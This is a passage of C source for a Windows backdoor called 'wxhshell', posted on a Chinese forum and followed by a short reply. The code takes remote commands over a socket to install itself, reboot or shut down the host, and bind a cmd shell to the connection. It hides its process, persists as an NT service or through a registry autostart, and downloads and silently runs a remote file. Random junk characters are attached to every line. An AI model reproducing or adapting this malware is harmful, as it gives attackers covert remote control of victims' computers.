  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SMN.AJ J  
  } #Bd]M#J17a  
  else { kaBjA*  
SVCh!/qe\  
    switch(cmd[0]) { y9:4n1fg  
  1JJsYX  
  // 帮助 ^b8~X [1J_  
  case '?': { #HUn~r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xg)8}  
    break; 9K+> ;`  
  } <Ky-3:pxeM  
  // 安装 K`4lL5oH  
  case 'i': { =nEP:7~{  
    if(Install()) ^6s im2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ew8@{X y  
    else cAWn*%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nS+Rbhs  
    break; VBhUh~:Om  
    } }%wd1`l7  
  // 卸载 v3-/ [-XB:  
  case 'r': { o4Q?K.9c  
    if(Uninstall()) qmrT d G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f{sT*_at  
    else 1NZ"\9=U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E7Cobpm  
    break;  ? wS}'  
    } 1 .3#PdMR,  
  // 显示 wxhshell 所在路径 gQnr.  
  case 'p': { ;blL\|ch;  
    char svExeFile[MAX_PATH]; vW+6_41ZM  
    strcpy(svExeFile,"\n\r"); \6b~$\~B  
      strcat(svExeFile,ExeFile); @v-^j  
        send(wsh,svExeFile,strlen(svExeFile),0); &YhAB\Rw  
    break; {:X'9NEE  
    } {U5sRM|I  
  // 重启 +f3Rzx]  
  case 'b': { i5e10@Q{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @r"\bBi  
    if(Boot(REBOOT)) v">?`8V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %|-N{>wKy  
    else { 9CD ei~  
    closesocket(wsh); X4;U4pU#  
    ExitThread(0); s QDgNJbU  
    } o_:v?Y>0  
    break; Y{Z&W9U  
    } M 8},RR@{  
  // 关机 8_Oeui(i  
  case 'd': {  !:( +#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QoD_`d  
    if(Boot(SHUTDOWN)) 4]d^L>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b?~p/[  
    else { QkrQM&Im  
    closesocket(wsh); !=9x=  
    ExitThread(0); bWFa{W5!  
    } qCs/sW  
    break; sY ]J!"  
    } .:S/x{~  
  // 获取shell ]ch=@IV  
  case 's': { U:7h>Z0W  
    CmdShell(wsh); 1/dL-"*0  
    closesocket(wsh); -E-#@s  
    ExitThread(0); PGTEIptX7  
    break; V)$!WPL@  
  } y_X6{}Ke  
  // 退出 yF)o_OA[uR  
  case 'x': { wE .H:q4&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wt.DL mO  
    CloseIt(wsh); \@Wv{0a(  
    break; J;4x$BI  
    } h+km?j  
  // 离开 De$~ *2  
  case 'q': { ;lMvxt:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -]3K#M)s  
    closesocket(wsh); /~LE1^1&U  
    WSACleanup(); ?9 huuJ s7  
    exit(1); }?[];FB  
    break; '|C%X7  
        } \Ec<ch[)c  
  }  A 3 V  
  } =!TUf/O-  
u]ms~rO  
  // 提示信息 K^WDA])  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BMp'.9Qgm  
} }*x1e_m}H  
  } 1}VaBsEV  
/k.0gYD  
  return; GcO2oq  
} Vgm*5a6t  
!)a_@d.;i  
// shell模块句柄 /&gg].&2?  
int CmdShell(SOCKET sock) yP58H{hQM8  
{ /^=1]+_!  
STARTUPINFO si; V.B@@ ;  
ZeroMemory(&si,sizeof(si)); xe@e#9N$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rWht},-|1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,{*g Q%7  
PROCESS_INFORMATION ProcessInfo; |/,S NE  
char cmdline[]="cmd"; Nd0tR3gi7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BlJiHz!  
  return 0; I%d=c0>%  
} 4 \z@Evm  
R ]Ev=V'U  
// 自身启动模式 a>j}@8[J  
int StartFromService(void) .`D'eS6b  
{ ;Gr {  
typedef struct #Y5k/NPg  
{ N[Z`tk?-  
  DWORD ExitStatus; 5]O{tSj  
  DWORD PebBaseAddress; V.Hv6  
  DWORD AffinityMask; w$ 8r<?^3  
  DWORD BasePriority; 7. F'1oEf  
  ULONG UniqueProcessId; xpdpD  
  ULONG InheritedFromUniqueProcessId; xvl$,\iqE  
}   PROCESS_BASIC_INFORMATION; MCN>3/81  
'rhgM/I  
PROCNTQSIP NtQueryInformationProcess; 9E7G%-  
?L<B]!9HZt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rC8p!e.yL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sVyV|!K  
fRS;6Jc  
  HANDLE             hProcess; 4*EMd!E=<  
  PROCESS_BASIC_INFORMATION pbi; ]\*^G@HA2  
x^1udK^re  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v3r3$(Hr  
  if(NULL == hInst ) return 0; iil<zEic  
HA'~1$#z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j_JY[sex  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); --$* q"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4aO/^Hl  
!q\8`ss  
  if (!NtQueryInformationProcess) return 0; +a5F:3$  
_a$qsY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6b|<$Je9  
  if(!hProcess) return 0; j[U#J  
%]+R>+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ceUe*}\cr  
XPdmz!,b  
  CloseHandle(hProcess); nCYkUDnZ  
P%2v(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I}PI  
if(hProcess==NULL) return 0; A.>mk598  
3E*|^*  
HMODULE hMod; ?[JP[ qS  
char procName[255]; NzgG7 7>  
unsigned long cbNeeded; S=4o@3%$  
5%jhVys23  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T.da!!'B f  
c!IZLaVAr9  
  CloseHandle(hProcess); Vuz.b.,i`  
#8Bh5L!SJ1  
if(strstr(procName,"services")) return 1; // 以服务启动 z:\9t[e4  
|.k'?!  
  return 0; // 注册表启动 i(4<MB1a  
} Yc[umn^K  
vhBW1/w&F  
// 主模块 xO|r<R7d7  
int StartWxhshell(LPSTR lpCmdLine) hU$a Z  
{ SA TX_  
  SOCKET wsl; B%tF|KKj  
BOOL val=TRUE; 3"x_Y  
  int port=0; gkr9+  
  struct sockaddr_in door; D7hTn@I  
]y@A=nR  
  if(wscfg.ws_autoins) Install(); t\,Y<9{w  
fl-J:`zyyZ  
port=atoi(lpCmdLine); DP{nvsF  
*D|a`R!Y  
if(port<=0) port=wscfg.ws_port; 7${<u0((!  
^`cv6;)  
  WSADATA data; AQ)gj$ m3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sa'1hX^@  
cO J`^^P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5_(\Cd<#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !+SL=xy!{  
  door.sin_family = AF_INET; rg^\gE6_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &l+Qn'N  
  door.sin_port = htons(port); ]Q"T8drL  
^+yz}YFM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S70#_{  
closesocket(wsl); X$!fR >Zc  
return 1; AqgY*"A7  
} & 'u|^d  
ov+{<0Q  
  if(listen(wsl,2) == INVALID_SOCKET) { *'?ZG/ (  
closesocket(wsl); cy^=!EfA  
return 1; MG=E 6:  
} Y#os6|MV#  
  Wxhshell(wsl); %r|sb=(yT  
  WSACleanup(); %6[,a  
E^)FnXe5  
return 0; boojq{cvYA  
QATRrIj{e  
}  }#m9Q[  
 DXf  
// 以NT服务方式启动 PSJj$bt;<+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *tv&=  
{ $UzSPhv[  
DWORD   status = 0; Z=&|__ +d  
  DWORD   specificError = 0xfffffff; KtaoOe  
@ZISv'F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #z P-, 2!r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3S3 a|_+%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BvP\c_  
  serviceStatus.dwWin32ExitCode     = 0; e(s0mbJE  
  serviceStatus.dwServiceSpecificExitCode = 0; ?!Y_w2  
  serviceStatus.dwCheckPoint       = 0; Sn[xI9}O  
  serviceStatus.dwWaitHint       = 0; ;n't:yQW  
4ior  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^t3>Z|DiB^  
  if (hServiceStatusHandle==0) return; d dgDq0N1j  
|Y Lja87  
status = GetLastError(); +JI,6)Ry  
  if (status!=NO_ERROR)  ;Ci:d*  
{ k' 8q /]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pEwo}NS*H  
    serviceStatus.dwCheckPoint       = 0; eQi^d/yi  
    serviceStatus.dwWaitHint       = 0; gs1yWnSv5  
    serviceStatus.dwWin32ExitCode     = status; O[ z0+Q?6Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^$'{:i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N)mZ!K44  
    return; rfonM~3?'  
  } #H7 SLQr\  
.'=S1|_(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e\X[\ve  
  serviceStatus.dwCheckPoint       = 0; Il&F C  
  serviceStatus.dwWaitHint       = 0; T8m]f<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %fF,Fnf2  
} v9 \n=Z  
wa,`BAKJ+F  
// 处理NT服务事件,比如:启动、停止 _=0Ja S>M.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f2c <-}wR  
{ ';G/,wB?`  
switch(fdwControl) bqH [-mu6  
{ ~0,v Q   
case SERVICE_CONTROL_STOP: <6;M\:Y*T  
  serviceStatus.dwWin32ExitCode = 0; 8Ze> hEG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0y$VPgsKf  
  serviceStatus.dwCheckPoint   = 0; P?q HzNGi7  
  serviceStatus.dwWaitHint     = 0; fK:4jl-r  
  { ~U w<e~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CE M4E  
  } r ??_2>Q  
  return; (LsVd2AbR  
case SERVICE_CONTROL_PAUSE: q5r7 KYH{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #jBmWaP.  
  break; Mo@{1K/9  
case SERVICE_CONTROL_CONTINUE: J t.<Z&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7[=G;2<  
  break; _v#pu Fy  
case SERVICE_CONTROL_INTERROGATE: 7W}%ralkg  
  break; lrc%GU):  
}; 274j7Y'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :g$"Xc8Zn  
} ^nZ=B>Yn2  
o;wSG81  
// 标准应用程序主函数 F~=kMQO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vFHeGq70j  
{ ,l AZ4  
*-*V>ntvT$  
// 获取操作系统版本 xpp nBnu$7  
OsIsNt=GetOsVer(); $MvKwQ/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Btznms'  
}s?3   
  // 从命令行安装 9.xb-m7  
  if(strpbrk(lpCmdLine,"iI")) Install(); .4ww5k>  
W2h*t"5W  
  // 下载执行文件 d>#',C#;  
if(wscfg.ws_downexe) { PJ:!O?KVq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >7@,,~3  
  WinExec(wscfg.ws_filenam,SW_HIDE); i5(qJ/u  
} KiG19R$  
\x$`/  
if(!OsIsNt) { 5Kd"W,  
// 如果时win9x,隐藏进程并且设置为注册表启动  cL .z{  
HideProc(); EyR/   
StartWxhshell(lpCmdLine); gWjYS#D  
} kReZch}  
else \a0{9Xx F  
  if(StartFromService()) { #B/4  
  // 以服务方式启动 O6e$vI@  
  StartServiceCtrlDispatcher(DispatchTable); :)Es]wA#HZ  
else \$Ky AWrZi  
  // 普通方式启动 0-OKbw5%=b  
  StartWxhshell(lpCmdLine); ^W}| 1.uZ  
A/9<} m  
return 0; 6VQQI9  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五